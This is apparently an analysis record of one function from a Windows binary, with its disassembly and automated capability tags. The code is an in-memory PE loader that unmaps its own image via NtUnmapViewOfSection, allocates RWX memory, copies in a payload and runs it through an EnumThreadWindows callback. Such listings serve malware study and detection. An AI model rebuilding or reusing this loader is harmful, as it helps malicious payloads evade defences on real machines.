Function at 0x140001eb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x88
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
jmp 0x140001ee3
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa8]
cmp qword [rsp + 0x40], rax
jge 0x140001f34
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
movsx rax, byte [rax]
imul rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
xor edx, edx
mov eax, dword [rsp + 0x38]
mov ecx, 3
div ecx
mov eax, eax
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov dword [rsp + 0x38], eax
jmp 0x140001ed6
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x58], 0
mov rcx, qword [rsp + 0xa0]
call fcn.140001850
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140001f7c
lea rcx, [0x1400042f8]
call fcn.140002490
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov edx, 5
mov rcx, qword [rsp + 0xa0]
call fcn.1400017d0
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x50], rax
lea rcx, [0x140004308]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x68], rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14000204a
cmp qword [rsp + 0x70], 0
jne 0x140002017
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
jmp 0x14000204a
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14000204a
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x30], rcx
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x54]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0xa0]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x28]
add rax, 0x108
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
jmp 0x140002095
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jge 0x1400020ff
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax + 0x10]
movsxd rcx, dword [rsp + 0x20]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x48]
mov ecx, dword [rdx + rcx + 0x14]
mov rdx, qword [rsp + 0xa0]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [rsp + 0x20]
imul rdx, rdx, 0x28
mov rdi, qword [rsp + 0x48]
mov edx, dword [rdi + rdx + 0xc]
mov rdi, qword [rsp + 0x30]
add rdi, rdx
mov rdx, rdi
mov rdi, rdx
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
jmp 0x14000208b
mov rcx, qword [rsp + 0x30]
call fcn.140001b50
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumThreadWindows]
add rsp, 0x88
pop rdi
pop rsi
ret